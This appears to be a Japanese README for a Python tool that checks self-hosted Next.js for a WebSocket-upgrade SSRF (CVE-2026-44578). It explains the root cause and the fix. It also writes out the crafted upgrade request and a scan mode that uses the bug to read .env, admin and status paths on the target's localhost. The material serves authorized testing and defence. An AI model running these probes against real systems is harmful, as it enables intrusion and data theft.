
GHSA-c4j6-fc7j-m34r / CVE-2026-44578(Next.js WebSocket-upgrade SSRF)用の OOB ベリファイア
GHSA-c4j6-fc7j-m34r / CVE-2026-44578 向けインバンド検証ツール — WebSocket アップグレードリクエストを介した Next.js におけるサーバーサイドリクエストフォージェリ (SSRF)。
⚠️ 許可を受けたセキュリティテストのみを対象としています。あなたは、このスクリプトに 渡すすべてのターゲットをテストする許可を得ていることを確認する責任があります。
| フィールド | 値 |
|---|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CWE | CWE-918 (SSRF) |
| CVSS v3.1 | 8.6 (高) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N |
| 影響を受けるバージョン | next >=13.4.13 <15.5.16、>=16.0.0 <16.2.5 |
| 修正済みバージョン | 15.5.16、16.2.5 |
| 修正コミット | c4f69086 |
| 影響を受けない構成 | Vercel ホスティング、output: "export"、Upgrade を転送しないリバースプロキシの背後にあるデプロイ |
攻撃者はセルフホスト型 Next.js プロセスへの TCP 接続を開き、リクエスト URI が 絶対 URL である HTTP/1.1 WebSocket アップグレードを送信します:
GET http://anything/<path> HTTP/1.1
Host: <target>
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
resolveRoutes では、URL に // が含まれるため (すべての絶対 URI に含まれる)、
「繰り返しスラッシュの正規化」ブランチに一致します。そのブランチは
{ finished: true, statusCode: 308, parsedUrl: <mangled> } を返して早期リターンします。
ノーマライザは http://host/path を http:/host/path (スラッシュ 1 つ) に縮約します。
router-server.ts では、パッチ適用前のアップグレードハンドラは
finished/statusCode を無視し、parsedUrl.protocol のみをチェックしていました。
プロトコルは正規化後も保持されるため、proxyRequest(...) が呼び出されていました。
修正 (コミット c4f69086) により、アップグレードハンドラはプロキシ実行の前に
finished && !statusCode をチェックするようになりました。308 正規化のケースは現在
!statusCode チェックに失敗するため、代わりにソケットが閉じられます。
プロキシは外部ホストに到達することはありません。interactsh / Burp Collaborator /
webhook カナリアをセットアップして Next プロセスが外部にコールバックすることを期待しても、
それは起こりません — 接続はターゲットマシン上の localhost に向かいます。
したがって、この検証ツールはアップグレードソケットから読み取ったインバンドシグナルを
使用します: 脆弱なサーバーは認識可能なエラーボディを返し、パッチ適用済みのサーバーは
何も返しません。
SSRF の転送先は制限されていますが、実際のデプロイでは依然として意味があります:
127.0.0.1:80 または :443 にバインドして localhost 発信の
リクエストを信頼するサイドカーコンテナ / リバースプロキシ / 管理パネル。127.0.0.1:80 で HTTP 経由で公開された Docker ソケット (まれですが実例あり)。AWS / GCP / Azure のメタデータエンドポイント (169.254.169.254) には、このバグが
転送先を localhost に固定するため、直接到達できません。
スクリプトは、各ターゲットに対して生の TCP (または TLS) ソケットを開き、細工された アップグレードを送信してレスポンスを読み取り、2 つのシグナルを生成します:
verdict — バグが存在するかどうか。impact_confirmed — SSRF が実際にデータを窃取したかどうか (つまり、ターゲットの
localhost:80/443 上の共存サービスが応答し、そのレスポンスを取得できたかどうか)。impact_confirmed が true の場合、JSON 出力には漏えいしたレスポンスから解析された
upstream_status、upstream_server、upstream_content_type も含まれます
(トリアージ / レポート作成に有用)。
デフォルトでは、すべてのターゲットは同じ絶対 URI リクエストラインを持つが Upgrade
ヘッダーを含まない (Connection: close) コントロールプローブも受け取ります。
フロントエンドが両方のプローブに同じレスポンス (ステータス行 + 許容範囲内のサイズ) を
返した場合、ホスト自身のフロントエンドが絶対 URI リクエストライン自体を拒否している
ことになります — nginx 400、Apache 400、CDN エッジ — そして SSRF は Next に到達して
いません。判定は front_end_intercepts に格下げされ、JSON 出力にはプロキシのレスポンス
から解析された front_end_status と front_end_server が含まれるため、オペレータは
何がインターセプトしているかを特定できます。
これにより、セルフホスト型 Next が nginx/Apache の背後にある場合に観測された実際の
誤検知が排除されます: これらのプロキシはプローブの GET http:///x HTTP/1.1 リクエスト
ラインを汎用の 400 で拒否しますが、検出器は以前これを vulnerable_proxy_succeeded と
誤読していました。オプトアウトして生の判定を確認するには --no-control-probe を
指定してください。
# single target
python3 verify_ghsa_c4j6.py --target https://app.example.com
# multiple targets via flag repetition
python3 verify_ghsa_c4j6.py \
--target https://app1.example.com \
--target app2.example.com:3000 \
--target 10.0.0.5:80
# from a file (one target per line; '#' for comments)
python3 verify_ghsa_c4j6.py --targets-file targets.txt
# from stdin
cat targets.txt | python3 verify_ghsa_c4j6.py
# JSON Lines output for downstream tooling
python3 verify_ghsa_c4j6.py --targets-file targets.txt --json
# Enumerate co-located services on the target's localhost:80/443 via the bug
python3 verify_ghsa_c4j6.py --target https://app.example.com --scan
# Same, with a custom path list
python3 verify_ghsa_c4j6.py --target ... --scan-paths-file my_paths.txt
--scan は、SSRF ガジェットを介して一般的なパスの組み込みリスト (Apache/nginx ステータス
モジュール、ヘルス & メトリクスエンドポイント、Spring Boot Actuator、Go pprof、Docker
デーモンエンドポイント、一般的な管理パネル、情報漏えいする設定ファイル、Elasticsearch
ルートなど) をプローブします。
デフォルトでは、スキャンモードはターゲットごとにランダムな存在しないパスを使用した
追加の差分ベースラインプローブを 1 回実行します。後続のプローブは、その
(status, body length) シグネチャがベースラインから乖離した場合にのみ DIFF として
タグ付けされます — 「何も見つからなかった」アップストリームからの均一な 404 は noise
としてマークされ、ヒット数を膨らませることはありません。サービスに到達したすべての
プローブを報告するには --no-differential を指定します (従来の動作)。
出力はターゲットごとにグループ化されます:
=== vulnscope.local:3030 ===
baseline (random path): verdict=vulnerable_proxy_succeeded status=404 bytes≈500
[VULN+] DIFF / impact=YES status=200 ct='text/html'
[VULN+] DIFF /.env impact=YES status=200 ct='application/octet-stream'
[VULN+] DIFF /admin impact=YES status=200 ct='application/octet-stream'
[VULN+] DIFF /index.html impact=YES status=200 ct='text/html'
[VULN+] DIFF /server-status impact=YES status=200 ct='application/octet-stream'
[VULN+] noise /_health impact=YES status=404 ct='text/html;charset=utf-8'
[VULN+] noise /actuator/env impact=YES status=404 ct='text/html;charset=utf-8'
... (53 more 404 'noise' paths suppressed) ...
-> 5 differential hit(s) / 58 probes
-> upstream server(s) seen: SimpleHTTP/0.6 Python/3.14.4
DIFF 行は実際のヒットです — ランダムパスのベースラインから乖離したレスポンス
(異なるステータス、異なるボディ長) を持つパス。noise 行も HTTP サービスには到達しました
が、ベースラインと同じ退屈なレスポンスを生成しました — 通常はオペレータが気にしない均一な
404 です。すべてのプローブが noise でベースラインからの乖離がない場合、バグは依然として
存在しますが、そのホストの localhost:80/443 では有用なものはリッスンしていません。
ターゲットは host、host:port、または完全な http(s)://... URL のいずれかです。
すべてのプローブを HTTP CONNECT プロキシ経由でトンネリングし、Burp / mitmproxy / OWASP ZAP で検査します:
# plain HTTP target via Burp
python3 verify_ghsa_c4j6.py --target http://app.example.com --proxy http://127.0.0.1:8080
# HTTPS target via Burp (Burp MITMs TLS — need --insecure or install Burp CA)
python3 verify_ghsa_c4j6.py --target https://app.example.com --proxy http://127.0.0.1:8080 --insecure
# proxy with basic auth
python3 verify_ghsa_c4j6.py --target ... --proxy http://user:[email protected]:3128
プロキシには CONNECT host:port とそれに続く生のアップグレードペイロードが表示されます —
Burp で SSRF プローブをログ記録 / リプレイ / 変更したい場合に有用です。
5 つのコマンドで脆弱なラボを実行できます:
mkdir vuln-lab && cd vuln-lab
npm init -y && npm i [email protected] react@19 react-dom@19
mkdir pages && echo 'export default () => "ok"' > pages/index.js
npx next build && npx next start -p 3030 &
python3 ../verify_ghsa_c4j6.py --target 127.0.0.1:3030
出力:
[ VULN] target=127.0.0.1:3030 verdict=vulnerable impact= no
snippet: 'Internal Server Error'
[email protected] で繰り返すと verdict=likely_patched が表示されるはずです。
demo_impact.sh は Next を :80 で実行し (そのため、localhost に固定された SSRF の
転送先が 同一の Next プロセスになります)、バグを介して Next 自身の HTML を読み戻します。
特権ポートへのバインドには sudo が必要です。
LAB_DIR=/path/to/next-vuln-lab ./demo_impact.sh
期待される出力は IMPACT CONFIRMED — SSRF reached a service on the target localhost and read response data back で終わります。
Upgrade ヘッダーを転送しない場合、
脆弱性が隠蔽されます。スクリプトは likely_patched を報告します。可能であれば Next
プロセスに対して直接再テストしてください。Internal Server Error がアップストリームプロキシ自身に
よって返される可能性は理論上あります。それを除外するには、同じペイロードを
Connection: Upgrade の代わりに Connection: close で再送信してください — 実際に
脆弱な Next はその場合 (異なるコードパス) Internal Server Error ボディの返信を停止します。next start はデフォルトで HTTP/1.1 です。所有しているシステム、または評価するための明示的な書面による許可を得ているシステムのみを テストしてください。
MIT
proxyRequest は、破損した URL に対して url.format(parsedUrl) を実行し、
http:/host:port/path を取得します。http-proxy はそのターゲットを解析し、ホストが
見つからないため (url.parse('http:/...').host === null)、デフォルトの転送先である
localhost:80 (https の場合は localhost:443) にフォールバックします。
つまり実際には、SSRF により、攻撃者が制御するパスを指定して、Next に
Next.js ホスト自身の localhost:80 / localhost:443 への WebSocket アップグレードを
開かせることができます。
| レスポンス | 判定 | impact_confirmed |
|---|
Internal Server Error を含む | vulnerable | false — バグは証明されたが、プロキシは localhost 上の何にも到達しなかった |
HTTP/1. で始まる | vulnerable_proxy_succeeded | true — 実際のレスポンスデータが窃取された |
| 空 / クリーンなクローズ | likely_patched | false — 「Next ではない」「リバースプロキシが Upgrade を除去」「Vercel」も該当 |
| Upgrade なしのコントロールと同一 | front_end_intercepts | false — フロントエンドプロキシが両方のプローブをショートサーキット。SSRF は Next に到達しなかった |
| その他 | inconclusive | false |
| フラグ | 説明 | デフォルト |
|---|
--target URL | 単一のターゲット。複数指定する場合は繰り返します。 | — |
--targets-file PATH | 1 行に 1 ターゲットを記述したファイル。 | — |
--probe-path PATH | 細工された絶対 URI で使用されるパス。このパスでターゲットの localhost サービスに到達します (ターゲットごとのトークンサフィックスでログ記録)。 | /x |
--scan | 各ターゲットの localhost サービス上の一般的なパスを列挙します。ターゲットごとに 1 つの差分ベースラインプローブとパスリストを送信します。 | オフ |
--scan-paths-file PATH | スキャンモード用のカスタムパスリスト (1 行に 1 つ)。--scan を暗黙的に有効にします。 | 組み込み |
--no-differential | --scan モードで、ベースラインプローブをスキップし、サービスに到達したすべてのプローブを報告します (従来の動作)。 | オフ |
--no-control-probe | フロントエンドのショートサーキットガードを無効にします (ターゲットごとの追加の Upgrade なしプローブ)。ターゲットが直接の Next プロセスであると厳密に判明している場合に有用です。 | オフ |
--timeout SEC | ソケットごとのタイムアウト。 | 5 |
--concurrency N | 並列プローブ数。 | 10 |
--insecure | TLS 証明書の検証をスキップします。TLS を MITM する際に --proxy と併用する場合に必要です。 | オフ |
--proxy URL | HTTP CONNECT プロキシ (Burp / mitmproxy / ZAP) 経由でトンネリングします。http://user:pass@host:port によるベーシック認証をサポートします。TLS ターゲットには Python 3.11+ が必要です。 | 直接接続 |
--json | 人間向けテキストの代わりに JSON Lines を出力します。 | オフ |